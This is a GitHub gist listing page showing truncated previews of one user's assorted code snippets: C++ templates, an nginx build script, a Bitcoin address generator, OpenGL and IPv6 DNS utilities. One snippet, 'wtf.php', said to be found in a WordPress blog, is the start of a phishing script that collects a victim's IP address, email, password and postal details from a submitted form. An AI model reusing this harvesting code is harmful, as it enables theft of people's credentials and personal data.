Skip to content

Instantly share code, notes, and snippets.

#ifndef COMMON_SINGLETON_H
#define COMMON_SINGLETON_H
#include <memory>
template<typename T>
class Singleton {
public:
static inline std::shared_ptr<T> GetInstancePtr() {
static std::shared_ptr<T> instance = new T();
@0xa
0xa / gist:5181425
Last active December 15, 2015 01:39
struct Mere {
static const int Opcode;
};
const int Mere::Opcode = 42;
struct Fille : public Mere {
static const int Opcode;
// wuut
#include <iostream>
#include "net/network.h"
using namespace Ponyca;
class TestType : public Net::AbstractSerializable {
public:
virtual std::string serialize() const {
std::string buffer;
def decode(input):
output = 0
base = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}'
power = 0
for c in input:
output += base.index(c) * len(base)**power
power += 1
return output
#!/bin/sh
VERSION="1.2.3"
cd nginx-$VERSION
./configure \
--prefix=/usr \
--sbin-path=/usr/sbin/nginx \
--conf-path=/etc/nginx/nginx.conf \
@0xa
0xa / bitcoinaddrgen.cpp
Created April 14, 2013 18:29
Bitcoin address generator
#include <openssl/ec.h>
#include <openssl/ecdsa.h>
#include <openssl/obj_mac.h>
#include <openssl/bn.h>
#include <openssl/crypto.h>
#include <openssl/sha.h>
#include <openssl/ripemd.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
@0xa
0xa / wtf.php
Created April 28, 2013 13:53
Found in a WordPress blog.
<?php
$ip = getenv("REMOTE_ADDR");
$zobab .= "------------------[Info Facture]------\n";
$zobab .= "Email : ".$_POST['email']."\n";
$zobab .= "Mot de passe : ".$_POST['pass']."\n";
$zobab .= "Nom & Prenom : ".$_POST['civil']." ".$_POST['nom']."\n";
$zobab .= "Adresse1 : ".$_POST['adresse1']."\n";
$zobab .= "Adresse2 : ".$_POST['adresse2']."\n";
$zobab .= "Ville : ".$_POST['ville']."\n";
$zobab .= "Code postale : ".$_POST['cp']."\n";
@0xa
0xa / main.cpp
Created May 11, 2013 12:10
A green square.
void drawStuff() {
static GLfloat wtf = .0f; static bool way = true;
glColor3f(.0f, (wtf+=.002f*((way=(wtf<.0f||wtf>=.6f)?!way:way)?1:-1)), .0f);
glBegin(GL_QUADS); {
glVertex2f(0, 0); glVertex2f(400, 0);
glVertex2f(400, 400); glVertex2f(0, 400);
} glEnd();
}
@0xa
0xa / reverses.c
Created June 8, 2013 20:12
Generate AAAA and PTR DNS fields for reverses of an IPv6 range.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
const char *reverse_root = "ip.vpn.xomg.net.";
unsigned short ip6_range[8] = {0x2001, 0x41d0, 0x8, 0x144d, 0xcc, 0, 0, 0};
const char ip6_netmask = 7;
const char ip6_ignore_subs = 0;
@0xa
0xa / basewtf.py
Created June 25, 2013 01:59
Encode anything to UTF-8 /o/
#!/usr/bin/python3
def bwtf_encode_block(input):
output = [0, 0]
if len(input) == 3:
output[0] = 0x1000 | ((input[0] << 4) | (input[1] & 0x0f))
output[1] = 0x1000 | (((input[1] & 0xf0) << 4) | (input[2]))
elif len(input) == 2:
output[0] = 0x1000 | ((input[0] << 4) | (input[1] & 0x0f))